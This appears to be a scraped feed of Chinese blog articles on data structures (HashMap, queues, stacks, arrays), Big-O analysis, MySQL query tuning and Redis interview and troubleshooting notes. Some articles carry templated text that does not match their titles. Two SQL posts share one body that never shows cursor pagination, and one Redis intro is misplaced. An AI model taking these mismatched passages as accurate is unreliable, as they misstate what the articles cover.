[ h(k, i) = (hash(k) + i) % m ]

二次探测：
[ h(k, i) = (hash(k) + c_1 i + c_2 i^2) % m ]

双重哈希：
[ h(k, i) = (hash_1(k) + i \cdot hash_2(k)) % m ]

优点：

  • 缓存友好（数据连续）

缺点：

  • 删除复杂（需要标记删除）
  • 聚集问题

四、Java HashMap实现

4.1 核心字段

transient Node<K,V>[] table;     // 哈希桶数组
transient int size;               // 键值对数量
int threshold;                    // 扩容阈值 = capacity * loadFactor
final float loadFactor;           // 负载因子，默认0.75

4.2 节点结构

static class Node<K,V> implements Map.Entry<K,V> {
    final int hash;
    final K key;
    V value;
    Node<K,V> next;  // 链表指针
}

4.3 put方法流程

  1. 计算key的hash值
  2. 定位桶位置：(n - 1) & hash
  3. 桶为空：直接插入
  4. 桶非空：遍历链表/红黑树
    • key已存在：覆盖value
    • key不存在：尾插法插入
  5. 检查是否需要扩容

4.4 扩容机制

final Node<K,V>[] resize() {
    Node<K,V>[] oldTab = table;
    int oldCap = (oldTab == null) ? 0 : oldTab.length;
    int oldThr = threshold;
    int newCap, newThr = 0;
    
    if (oldCap > 0) {
        if (oldCap >= MAXIMUM_CAPACITY) {
            threshold = Integer.MAX_VALUE;
            return oldTab;
        }
        newCap = oldCap << 1;  // 容量翻倍
        newThr = oldThr << 1;  // 阈值翻倍
    }
    
    // 迁移数据：重新计算索引或保持原索引/原索引+oldCap
}

扩容优化：

  • 容量为2的幂，新索引只可能是原索引或原索引+oldCap
  • 通过(hash & oldCap) == 0判断

4.5 链表转红黑树

static final int TREEIFY_THRESHOLD = 8;   // 链表长度≥8转红黑树
static final int UNTREEIFY_THRESHOLD = 6; // 树节点≤6转链表

转换条件：

  1. 链表长度 ≥ 8
  2. 数组长度 ≥ 64（否则优先扩容）

五、负载因子(Load Factor)

5.1 定义

[ \text{负载因子} = \frac{\text{元素个数}}{\text{桶数量}} ]

5.2 默认值0.75的含义

  • 空间与时间的平衡
  • 过高：冲突增加，查询变慢
  • 过低：空间浪费

5.3 调整策略

  • 内存敏感：降低负载因子
  • 速度敏感：保持或适当提高

六、ConcurrentHashMap

6.1 JDK 1.7 - 分段锁

Segment[16]
  ├── HashEntry[]
  └── HashEntry[]

6.2 JDK 1.8 - CAS + synchronized

transient volatile Node<K,V>[] table;

final V putVal(K key, V value, boolean onlyIfAbsent) {
    // 使用CAS初始化或synchronized锁住头节点
}

锁粒度：只锁链表/红黑树的头节点。

七、总结

特性HashMapHashtableConcurrentHashMap
线程安全否是(synchronized)是(CAS+锁)
允许nullkey/value否否
扩容2倍2倍+12倍
遍历fail-fastfail-fast弱一致性

哈希表的设计精髓在于哈希函数与冲突处理的平衡。理解HashMap的实现细节，对编写高效代码和排查问题都有重要帮助。

]]> 算法 算法 哈希表 数据结构 队列与双端队列Deque //queue-deque-data-structure/ 一、队列(Queue)

1.1 定义

队列是先进先出(FIFO, First In First Out)的线性数据结构。

1.2 核心操作

操作说明时间复杂度
enqueue/offer入队（队尾）( O(1) )
dequeue/poll出队（队头）( O(1) )
peek查看队头( O(1) )
isEmpty判空( O(1) )

1.3 生活类比

排队买票，先到的人先服务。

二、队列的实现

2.1 数组实现 - 循环队列

class CircularQueue {
    private int[] data;
    private int front = 0;  // 队头
    private int rear = 0;   // 队尾下一个位置
    private int size = 0;
    
    public boolean offer(int val) {
        if (size == data.length) return false;
        data[rear] = val;
        rear = (rear + 1) % data.length;
        size++;
        return true;
    }
    
    public int poll() {
        if (size == 0) throw new RuntimeException("Queue is empty");
        int val = data[front];
        front = (front + 1) % data.length;
        size--;
        return val;
    }
}

2.2 链表实现

class LinkedQueue {
    private ListNode head, tail;
    
    public void offer(int val) {
        ListNode node = new ListNode(val);
        if (tail == null) {
            head = tail = node;
        } else {
            tail.next = node;
            tail = node;
        }
    }
    
    public int poll() {
        if (head == null) throw new RuntimeException("Queue is empty");
        int val = head.val;
        head = head.next;
        if (head == null) tail = null;
        return val;
    }
}

2.3 Java标准库

Queue<Integer> queue = new LinkedList<>();  // 链表实现
Queue<Integer> queue = new ArrayDeque<>();   // 数组实现，推荐

三、双端队列(Deque)

3.1 定义

Deque(Double Ended Queue)允许在两端进行插入和删除操作。

3.2 操作

操作队头队尾
插入offerFirstofferLast
删除pollFirstpollLast
查看peekFirstpeekLast

3.3 Java实现

Deque<Integer> deque = new ArrayDeque<>();

deque.offerFirst(1);  // [1]
deque.offerLast(2);   // [1, 2]
deque.pollFirst();    // [2]
deque.pollLast();     // []

四、队列的经典应用

4.1 BFS广度优先搜索

public List<List<Integer>> levelOrder(TreeNode root) {
    List<List<Integer>> result = new ArrayList<>();
    if (root == null) return result;
    
    Queue<TreeNode> queue = new LinkedList<>();
    queue.offer(root);
    
    while (!queue.isEmpty()) {
        int size = queue.size();
        List<Integer> level = new ArrayList<>();
        for (int i = 0; i < size; i++) {
            TreeNode node = queue.poll();
            level.add(node.val);
            if (node.left != null) queue.offer(node.left);
            if (node.right != null) queue.offer(node.right);
        }
        result.add(level);
    }
    return result;
}

4.2 滑动窗口最大值

使用单调队列（双端队列实现）：

public int[] maxSlidingWindow(int[] nums, int k) {
    int n = nums.length;
    int[] res = new int[n - k + 1];
    Deque<Integer> deque = new ArrayDeque<>();  // 存索引，值单调递减
    
    for (int i = 0; i < n; i++) {
        // 移除窗口外元素
        while (!deque.isEmpty() && deque.peekFirst() < i - k + 1) {
            deque.pollFirst();
        }
        // 保持单调递减
        while (!deque.isEmpty() && nums[deque.peekLast()] < nums[i]) {
            deque.pollLast();
        }
        deque.offerLast(i);
        
        if (i >= k - 1) {
            res[i - k + 1] = nums[deque.peekFirst()];
        }
    }
    return res;
}

4.3 任务调度

// 使用阻塞队列实现生产者-消费者
BlockingQueue<Task> queue = new LinkedBlockingQueue<>();

// 生产者
queue.put(task);

// 消费者
Task task = queue.take();

五、特殊队列

5.1 优先队列(Priority Queue)

元素按优先级出队，底层是堆实现。

PriorityQueue<Integer> pq = new PriorityQueue<>();  // 小顶堆
PriorityQueue<Integer> pq = new PriorityQueue<>(Collections.reverseOrder());  // 大顶堆

5.2 延迟队列(DelayQueue)

元素只有到期后才能出队。

5.3 阻塞队列

ArrayBlockingQueue  // 有界数组
LinkedBlockingQueue // 无界链表
SynchronousQueue    // 不存储元素

六、总结

数据结构特点核心应用
普通队列FIFOBFS、缓冲区
双端队列两端操作滑动窗口、回文判断
优先队列按优先级TopK、合并有序列表
阻塞队列线程安全生产者-消费者

队列的FIFO特性使其非常适合处理按顺序处理和公平调度的场景。理解不同队列变体的特性，能在实际开发中做出恰当选择。

]]> 算法 算法 数据结构 队列 栈与栈的经典应用场景 //stack-data-structure/ 一、栈的定义

栈(Stack)是一种后进先出(LIFO, Last In First Out)的线性数据结构。

1.1 核心操作

操作说明时间复杂度
push入栈( O(1) )
pop出栈( O(1) )
peek/top查看栈顶( O(1) )
isEmpty判空( O(1) )

1.2 形象比喻

就像一摞盘子，只能从最上面放盘子(push)，也只能从最上面取盘子(pop)。

二、栈的实现

2.1 数组实现

class ArrayStack {
    private int[] data;
    private int top = -1;
    
    public void push(int val) {
        if (top == data.length - 1) {
            // 扩容
        }
        data[++top] = val;
    }
    
    public int pop() {
        if (isEmpty()) throw new RuntimeException("Stack is empty");
        return data[top--];
    }
    
    public int peek() {
        return data[top];
    }
    
    public boolean isEmpty() {
        return top == -1;
    }
}

2.2 链表实现

class LinkedStack {
    private ListNode top;
    
    public void push(int val) {
        ListNode node = new ListNode(val);
        node.next = top;
        top = node;
    }
    
    public int pop() {
        if (top == null) throw new RuntimeException("Stack is empty");
        int val = top.val;
        top = top.next;
        return val;
    }
}

2.3 Java标准库

Stack<Integer> stack = new Stack<>();  // 不推荐，线程同步有开销
Deque<Integer> stack = new ArrayDeque<>();  // 推荐

三、经典应用场景

3.1 括号匹配

问题：判断字符串中的括号是否合法。

思路：左括号入栈，遇到右括号与栈顶匹配。

public boolean isValid(String s) {
    Deque<Character> stack = new ArrayDeque<>();
    for (char c : s.toCharArray()) {
        if (c == '(' || c == '[' || c == '{') {
            stack.push(c);
        } else {
            if (stack.isEmpty()) return false;
            char top = stack.pop();
            if ((c == ')' && top != '(') ||
                (c == ']' && top != '[') ||
                (c == '}' && top != '{')) {
                return false;
            }
        }
    }
    return stack.isEmpty();
}

3.2 表达式求值

问题：计算中缀表达式 3 + 5 * 2 - 8 / 4

思路：使用操作符栈和数字栈。

// 中缀转后缀（逆波兰表达式），再求值
// 后缀表达式: 3 5 2 * + 8 4 / -
public int evalRPN(String[] tokens) {
    Deque<Integer> stack = new ArrayDeque<>();
    for (String token : tokens) {
        switch (token) {
            case "+": stack.push(stack.pop() + stack.pop()); break;
            case "-": stack.push(-stack.pop() + stack.pop()); break;
            case "*": stack.push(stack.pop() * stack.pop()); break;
            case "/":
                int b = stack.pop(), a = stack.pop();
                stack.push(a / b);
                break;
            default: stack.push(Integer.parseInt(token));
        }
    }
    return stack.pop();
}

3.3 单调栈 - 下一个更大元素

问题：数组中每个元素右边第一个比它大的元素。

public int[] nextGreaterElement(int[] nums) {
    int n = nums.length;
    int[] res = new int[n];
    Arrays.fill(res, -1);
    Deque<Integer> stack = new ArrayDeque<>();  // 存索引
    
    for (int i = 0; i < n; i++) {
        while (!stack.isEmpty() && nums[stack.peek()] < nums[i]) {
            res[stack.pop()] = nums[i];
        }
        stack.push(i);
    }
    return res;
}

3.4 浏览器前进后退

class BrowserHistory {
    Deque<String> back = new ArrayDeque<>();
    Deque<String> forward = new ArrayDeque<>();
    String current;
    
    public void visit(String url) {
        back.push(current);
        current = url;
        forward.clear();
    }
    
    public String back() {
        if (!back.isEmpty()) {
            forward.push(current);
            current = back.pop();
        }
        return current;
    }
}

3.5 函数调用栈

程序运行时的函数调用就是通过栈实现的：

main()
  └── funcA()
        └── funcB()
              └── funcC()  ← 当前执行

每次函数调用，将返回地址、参数、局部变量压入栈。函数返回时出栈恢复现场。

四、单调栈专题

4.1 单调递减栈

栈内元素从底到顶递减，用于找下一个更大元素。

4.2 单调递增栈

栈内元素从底到顶递增，用于找下一个更小元素。

4.3 接雨水问题

public int trap(int[] height) {
    Deque<Integer> stack = new ArrayDeque<>();
    int water = 0;
    
    for (int i = 0; i < height.length; i++) {
        while (!stack.isEmpty() && height[stack.peek()] < height[i]) {
            int bottom = height[stack.pop()];
            if (stack.isEmpty()) break;
            int left = stack.peek();
            int w = i - left - 1;
            int h = Math.min(height[left], height[i]) - bottom;
            water += w * h;
        }
        stack.push(i);
    }
    return water;
}

五、总结

栈的核心价值在于LIFO特性与状态保存/恢复能力。无论是括号匹配、表达式求值，还是函数调用、DFS遍历，栈都提供了简洁的解决方案。掌握单调栈技巧，可以解决很多”找下一个更大/更小元素”类问题。

]]> 算法 算法 数据结构 栈 数组与链表的本质区别 //array-vs-linkedlist/ 一、数组(Array)

1.1 定义与特性

数组是连续内存空间存储的相同类型数据集合。

int[] arr = new int[5];  // 分配连续5个int大小的内存

1.2 内存布局

索引:  [0]   [1]   [2]   [3]   [4]
      +----+----+----+----+----+
      | 10 | 20 | 30 | 40 | 50 |
      +----+----+----+----+----+
地址: 1000 1004 1008 1012 1016

通过基地址 + 偏移量直接计算元素位置：
[ \text{address}(i) = \text{base} + i \times \text{size} ]

1.3 时间复杂度

操作时间复杂度说明
随机访问( O(1) )通过索引直接计算地址
尾部插入( O(1) )已知长度时
中间插入( O(n) )需要移动后续元素
删除( O(n) )需要移动后续元素
查找( O(n) )无序数组

1.4 Java实现细节

// ArrayList底层是数组
transient Object[] elementData;

// 扩容机制：默认1.5倍
int newCapacity = oldCapacity + (oldCapacity >> 1);

二、链表(Linked List)

2.1 定义与特性

链表是非连续内存空间通过指针连接的数据结构。

2.2 节点结构

class ListNode {
    int val;           // 数据域
    ListNode next;     // 指针域
    
    ListNode(int val) {
        this.val = val;
    }
}

2.3 内存布局

节点A        节点B        节点C        节点D
+----+     +----+     +----+     +----+
| 10 | --> | 20 | --> | 30 | --> | 40 | --> null
|next|     |next|     |next|     |next|
+----+     +----+     +----+ +----+
  ↑
 head

节点分散存储，通过next指针串联。

2.4 时间复杂度

操作时间复杂度说明
随机访问( O(n) )必须从头遍历
头部插入/删除( O(1) )修改head指针
尾部插入( O(n) )单链表需遍历
给定节点删除( O(1) )已知前驱或后继
查找( O(n) )顺序遍历

2.5 常见链表类型

单链表

class SinglyLinkedList {
    ListNode head;
    // 只能单向遍历
}

双向链表

class DoublyListNode {
    int val;
    DoublyListNode prev;
    DoublyListNode next;
}
// Java LinkedList底层实现

循环链表

// 尾节点指向头节点
last.next = head;

三、核心对比

维度数组链表
内存分配连续，静态/动态离散，动态
随机访问( O(1) )( O(n) )
插入删除( O(n) )( O(1) )
缓存友好性高（局部性原理）低（指针跳转）
内存占用仅数据数据 + 指针
扩容成本高（需要搬迁）低（只需改指针）
适用场景频繁查询、索引访问频繁增删、未知数量

四、实际应用选择

4.1 选择数组的场景

  • 数据量固定或变化不大
  • 需要频繁按索引访问
  • 对内存局部性有要求（如数值计算）
  • 实现简单，无指针开销

4.2 选择链表的场景

  • 频繁在头部/中间插入删除
  • 数据量动态变化大
  • 实现队列、栈等数据结构
  • 不需要随机访问

4.3 Java中的选择

// 频繁查询 → ArrayList
List<Integer> list = new ArrayList<>();

// 频繁增删 → LinkedList
List<Integer> list = new LinkedList<>();

// 但要注意：LinkedList实际 cache miss 高，小数据量不一定更快

五、经典面试题

5.1 反转链表

public ListNode reverse(ListNode head) {
    ListNode prev = null, curr = head;
    while (curr != null) {
        ListNode next = curr.next;
        curr.next = prev;
        prev = curr;
        curr = next;
    }
    return prev;
}

5.2 检测环

public boolean hasCycle(ListNode head) {
    ListNode slow = head, fast = head;
    while (fast != null && fast.next != null) {
        slow = slow.next;
        fast = fast.next.next;
        if (slow == fast) return true;
    }
    return false;
}

5.3 找中点

public ListNode middleNode(ListNode head) {
    ListNode slow = head, fast = head;
    while (fast != null && fast.next != null) {
        slow = slow.next;
        fast = fast.next.next;
    }
    return slow;
}

六、总结

数组和链表代表了两种基本的内存组织哲学：连续 vs 离散。数组用空间连续性换取 ( O(1) ) 访问，链表用指针灵活性换取 ( O(1) ) 增删。理解它们的本质区别，是掌握更复杂数据结构的基础。

]]> 算法 算法 数据结构 数组 链表 算法复杂度分析与大O表示法 //algorithm-big-o-complexity/ 一、为什么需要复杂度分析

1.1 事后统计法的局限

  • 依赖测试环境（CPU、内存、操作系统）
  • 依赖测试数据规模
  • 无法提前预估算法性能

1.2 复杂度分析的优势

  • 不依赖具体环境
  • 反映算法随数据规模增长的趋势
  • 可以在编码阶段预估性能

二、大O表示法

2.1 定义

大O表示法描述算法执行时间（或占用空间）随输入规模增长的变化趋势：
[ T(n) = O(f(n)) ]

表示存在常数 ( c ) 和 ( n_0 )，使得当 ( n \geq n_0 ) 时，( T(n) \leq c \cdot f(n) )。

2.2 核心原则

  1. 只关注最高阶项：( O(2n^2 + 3n + 1) = O(n^2) )
  2. 忽略常数系数：( O(3n) = O(n) )
  3. 关注最坏情况：通常分析上界

三、常见时间复杂度

复杂度名称示例
( O(1) )常数阶数组随机访问
( O(\log n) )对数阶二分查找
( O(n) )线性阶遍历数组
( O(n\log n) )线性对数阶快速排序平均
( O(n^2) )平方阶冒泡排序
( O(n^3) )立方阶三层嵌套循环
( O(2^n) )指数阶斐波那契递归
( O(n!) )阶乘阶全排列

3.1 复杂度曲线对比

O(1) < O(log n) < O(n) < O(n log n) < O(n²) < O(n³) < O(2ⁿ) < O(n!)

当 ( n = 1000 ) 时：

  • ( O(1) ): 1
  • ( O(\log n) ): ~10
  • ( O(n) ): 1000
  • ( O(n^2) ): 1,000,000
  • ( O(2^n) ): 无法计算

四、时间复杂度分析实例

4.1 单层循环

// O(n)
for (int i = 0; i < n; i++) {
    System.out.println(i);
}

4.2 嵌套循环

// O(n²)
for (int i = 0; i < n; i++) {
    for (int j = 0; j < n; j++) {
        // 操作
    }
}

4.3 对数级循环

// O(log n)
for (int i = 1; i < n; i *= 2) {
    // 操作
}

4.4 递归算法 - 斐波那契

// O(2ⁿ) - 存在大量重复计算
int fib(int n) {
    if (n <= 1) return n;
    return fib(n - 1) + fib(n - 2);
}

递归树有 ( 2^n ) 个节点，但存在大量重叠子问题。

4.5 递归算法 - 归并排序

// O(n log n)
void mergeSort(int[] arr, int left, int right) {
    if (left < right) {
        int mid = left + (right - left) / 2;
        mergeSort(arr, left, mid);      // T(n/2)
        mergeSort(arr, mid + 1, right); // T(n/2)
        merge(arr, left, mid, right);   // O(n)
    }
}

递推公式：( T(n) = 2T(n/2) + O(n) )
由主定理可得 ( T(n) = O(n \log n) )

五、空间复杂度

5.1 定义

算法执行过程中临时占用存储空间大小的量度。

5.2 常见空间复杂度

  • ( O(1) ): 仅使用常数额外空间
  • ( O(n) ): 使用与输入规模成正比的额外空间
  • ( O(n^2) ): 二维数组等
  • ( O(\log n) ): 递归调用栈深度

5.3 实例分析

// 空间复杂度 O(1)
int sum(int[] arr) {
    int result = 0;  // 常量空间
    for (int num : arr) {
        result += num;
    }
    return result;
}

// 空间复杂度 O(n)
int[] copy(int[] arr) {
    int[] result = new int[arr.length];  // 与输入规模成正比
    System.arraycopy(arr, 0, result, 0, arr.length);
    return result;
}

// 空间复杂度 O(log n) - 递归栈
int binarySearch(int[] arr, int target, int left, int right) {
    if (left > right) return -1;
    int mid = left + (right - left) / 2;
    if (arr[mid] == target) return mid;
    if (arr[mid] > target) {
        return binarySearch(arr, target, left, mid - 1);
    }
    return binarySearch(arr, target, mid + 1, right);
}

六、最好、最坏、平均情况

情况说明示例
最好最理想输入查找第一个元素就是目标
最坏最不利输入查找最后一个或不存在
平均随机输入的期望概率加权平均值
均摊一系列操作的平均动态数组扩容

通常关注最坏情况复杂度，因为它给出了性能上界。

七、均摊复杂度

7.1 动态数组扩容

// ArrayList的add操作
// 大部分情况O(1)，扩容时O(n)
// 均摊复杂度为O(1)

7.2 分析方法

将昂贵操作的成本均摊到多次廉价操作上。如果每 ( n ) 次操作触发一次 ( O(n) ) 操作，则均摊为 ( O(1) )。

八、复杂度分析常见误区

  1. 忽略常数时间的隐性成本：缓存不命中、内存分配
  2. 只看时间忽略空间：有时空间换时间是值得的
  3. 理论 vs 实际：大O忽略常数，实际中小数据量可能 ( O(n^2) ) 更快
  4. 递归只算调用次数：要算上每次调用的工作量

九、总结

复杂度分析是评估算法效率的核心工具。掌握大O表示法，能够在编码前预判算法性能，做出合理的实现选择。记住：大O描述的是趋势，不是精确值。

]]> 算法 算法 数据结构 复杂度 分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 Redis面试核心知识点 //redis-interview-core/ Redis面试核心知识点

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、数据类型与应用

#

1.1 五种基本类型

类型底层结构典型场景
StringSDS缓存、计数器、分布式锁
HashZiplist/Hashtable对象存储、购物车
ListQuicklist消息队列、时间线
SetIntset/Hashtable标签、共同关注、抽奖
ZSetSkipList+Hash排行榜、延迟队列

#

1.2 特殊类型

  • Bitmap: 位图统计，如用户签到
  • HyperLogLog: 基数统计，UV计算
  • GEO: 地理位置，附近的人
  • Stream: 消息队列，类似Kafka

#

1.3 高频面试题

Q: Redis为什么快？

  • 纯内存操作
  • 单线程避免上下文切换
  • IO多路复用(6.0后多线程IO)
  • 高效的数据结构

Q: String的SDS相比C字符串的优势？

  • O(1)获取长度
  • 二进制安全
  • 预分配减少内存重分配

二、持久化机制

#

2.1 RDB vs AOF

特性RDBAOF
文件体积紧凑、小较大
恢复速度快慢
数据安全可能丢数据更持久
性能影响fork时阻塞持续写入

#

2.2 混合持久化(Redis 4.0+)

  • RDB做全量，AOF做增量
  • 重写时先RDB格式再AOF格式

#

2.3 高频面试题

Q: AOF重写的原理？

  • BGREWRITEAOF子进程进行
  • 写时复制(COW)机制
  • 重写期间新命令写入AOF缓冲区

三、高可用架构

#

3.1 主从复制

  • 全量同步：RDB文件 + 缓冲区命令
  • 增量同步：复制偏移量 + 复制积压缓冲区
  • 无磁盘复制(diskless replication)

#

3.2 哨兵Sentinel

  • 监控、通知、自动故障转移
  • 至少需要3个哨兵节点
  • 主观下线(SDOWN) -> 客观下线(ODOWN)

#

3.3 Cluster集群

  • 16384个槽位均匀分配
  • 去中心化，节点直连
  • 哈希槽 = CRC16(key) % 16384
  • 支持在线扩容缩容

#

3.4 高频面试题

Q: 主从复制中断后如何恢复？

  • 检查偏移量是否在复制缓冲区
  • 在缓冲区范围内：增量同步
  • 超出范围：全量同步

四、缓存问题

#

4.1 缓存穿透

  • 现象：查询不存在的数据，直达数据库
  • 解决：布隆过滤器、空值缓存、参数校验

#

4.2 缓存击穿

  • 现象：热点Key过期瞬间大量请求打到DB
  • 解决：互斥锁、逻辑过期、热点Key永不过期

#

4.3 缓存雪崩

  • 现象：大量Key同时过期
  • 解决：随机过期时间、多级缓存、熔断降级

#

4.4 缓存一致性

  • Cache Aside：先更新DB，再删缓存
  • Read/Write Through：读写都走缓存
  • Write Behind：先写缓存，异步写DB

五、分布式锁

#

5.1 Redis实现方式

  • SET key value NX EX seconds
  • Redisson框架：看门狗自动续期

#

5.2 可靠性要求

  • 互斥性：只有一个线程获取锁
  • 防死锁：设置过期时间
  • 可重入：同一线程可再次获取
  • 自动续期：业务未完成时续期

#

5.3 RedLock算法

  • 向N个独立Redis节点申请锁
  • 多数节点成功且耗时小于超时时间才算成功
  • 争议：分布式系统专家质疑其正确性

六、内存管理

#

6.1 内存淘汰策略

策略说明
noeviction不淘汰，直接报错
allkeys-lru所有Key中淘汰最近最少使用
volatile-lru过期Key中LRU淘汰
allkeys-random所有Key中随机淘汰
volatile-random过期Key中随机淘汰
volatile-ttl过期Key中淘汰即将过期的
allkeys-lfu所有Key中LFU淘汰(4.0+)

#

6.2 大Key问题

  • 危害：阻塞主线程、网络拥塞、主从同步延迟
  • 发现：redis-cli --bigkeys、MEMORY USAGE
  • 解决：拆分、压缩、异步删除(UNLINK)

#

6.3 内存碎片

  • mem_fragmentation_ratio = used_memory_rss / used_memory

  • 1.5说明碎片严重

  • 解决：MEMORY PURGE、重启

七、性能优化

#

7.1 管道Pipeline

  • 批量发送命令，减少RTT
  • 注意控制单次Pipeline命令数量

#

7.2 Lua脚本

  • 原子性执行多个命令
  • 减少网络往返
  • 脚本在服务端执行

#

7.3 慢查询优化

# 设置慢查询阈值
CONFIG SET slowlog-log-slower-than 10000

# 查看慢查询日志
SLOWLOG get 10

八、Redis 6.0新特性

  1. 多线程IO：网络读写多线程，命令执行单线程
  2. ACL访问控制：细粒度权限管理
  3. SSL加密：支持TLS连接
  4. 客户端缓存：Tracking模式

九、与其他组件对比

#

9.1 Redis vs Memcached

特性RedisMemcached
数据结构丰富仅String
持久化支持不支持
集群原生支持需客户端
内存管理更复杂更简单

#

9.2 Redis vs Kafka

  • Redis Stream适合轻量级消息队列
  • Kafka适合高吞吐、持久化场景

十、面试答题技巧

  1. 由浅入深：先说原理，再讲细节
  2. 结合场景：回答时结合业务场景
  3. 承认局限：如RedLock争议、缓存一致性问题
  4. 展示经验：提到实际排查案例

总结

Redis面试核心围绕：数据类型、持久化、高可用、缓存策略、分布式锁五大主题。理解底层原理比背答案更重要，建议结合源码和实战加深理解。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis 面试 Redis 知识点 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 Redis线上问题排查手册 //redis-troubleshooting-guide/ Redis线上问题排查手册

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、排查前准备

#

1.1 确认问题现象

  • 连接超时还是命令执行慢
  • 单机还是集群环境
  • 问题发生的时间点和频率

#

1.2 收集基础信息

# Redis线上问题排查手册
redis-cli INFO server
redis-cli INFO clients
redis-cli INFO memory

# 连接数
redis-cli INFO clients | grep connected_clients

二、连接问题排查

#

2.1 连接数爆满

redis-cli INFO clients
  • connected_clients > maxclients
  • 解决：检查连接池配置，排查连接泄漏

#

2.2 连接被拒绝

  • 检查bind配置和防火墙
  • 检查protected-mode
  • 检查maxclients是否达到上限

#

2.3 连接超时

redis-cli --latency -h host -p port
  • 网络延迟：PING命令耗时
  • 服务端阻塞：检查慢查询

三、性能问题排查

#

3.1 响应延迟高

# 查看慢查询
redis-cli SLOWLOG get 10

# 查看CPU
redis-cli INFO cpu

常见原因：

  • 大Key操作：KEYS *、HGETALL大Hash
  • 复杂命令：SORT、SUNION集合运算
  • 持久化阻塞：AOF刷盘或RDB fork

#

3.2 CPU使用率过高

redis-cli INFO commandstats
  • 高频命令分析
  • 是否大量O(N)命令

#

3.3 内存使用过高

redis-cli INFO memory
redis-cli --bigkeys
redis-cli MEMORY DOCTOR

排查步骤：

  1. used_memory vs maxmemory
  2. MEMORY DOCTOR诊断
  3. --bigkeys找大Key
  4. MEMORY USAGE key精确分析

四、主从复制问题

#

4.1 复制中断

redis-cli INFO replication

检查：

  • master_link_status: down
  • master_last_io_seconds_ago

解决：

  • 网络连通性
  • repl-timeout配置
  • 缓冲区溢出client-output-buffer-limit

#

4.2 主从数据不一致

  • 复制延迟：master_repl_offset - slave_repl_offset
  • 检查repl-backlog-size

#

4.3 全量同步频繁

  • info stats中sync_full
  • 原因：从节点重启、复制缓冲区不足

五、集群问题排查

#

5.1 集群状态异常

redis-cli --cluster check host:port
  • 槽位分配是否完整16384个
  • 是否有节点处于fail状态

#

5.2 节点迁移失败

redis-cli --cluster reshard host:port
  • 检查源节点是否有大Key
  • 检查目标节点内存是否充足

#

5.3 客户端MOVED/ASK异常

  • 客户端是否支持集群模式
  • 集群拓扑是否已更新

六、持久化问题

#

6.1 AOF文件过大

redis-cli BGREWRITEAOF
  • auto-aof-rewrite-percentage
  • 手动重写AOF

#

6.2 RDB生成失败

  • save配置是否合理
  • 磁盘空间
  • bgsave时fork失败(内存不足)

七、典型场景排查清单

问题现象排查命令常见原因
连接超时INFO clients, latency连接池耗尽、网络问题
命令慢SLOWLOG, INFO commandstats大Key、复杂命令、fork阻塞
内存告警INFO memory, --bigkeys大Key、内存泄漏、未设过期
主从断开INFO replication网络、超时、缓冲区满
集群报错CLUSTER INFO, CLUSTER NODES节点故障、槽位异常
CPU高INFO cpu, INFO commandstats复杂命令、高频操作

八、常用诊断工具

#

8.1 redis-cli内置命令

redis-cli MONITOR          # 实时监控命令
redis-cli --latency        # 延迟检测
redis-cli --latency-history
redis-cli --bigkeys        # 大Key扫描

#

8.2 第三方工具

  • redis-rdb-tools: RDB文件分析
  • redis-faina: 命令热点分析
  • redis-stat: 实时监控工具

#

8.3 系统级工具

# 查看Redis进程
top -p $(pgrep redis-server)

# 查看网络连接
ss -ant | grep 6379

# 查看文件句柄
lsof -p $(pgrep redis-server)

九、预防措施

  1. 监控告警：连接数、内存、QPS、延迟
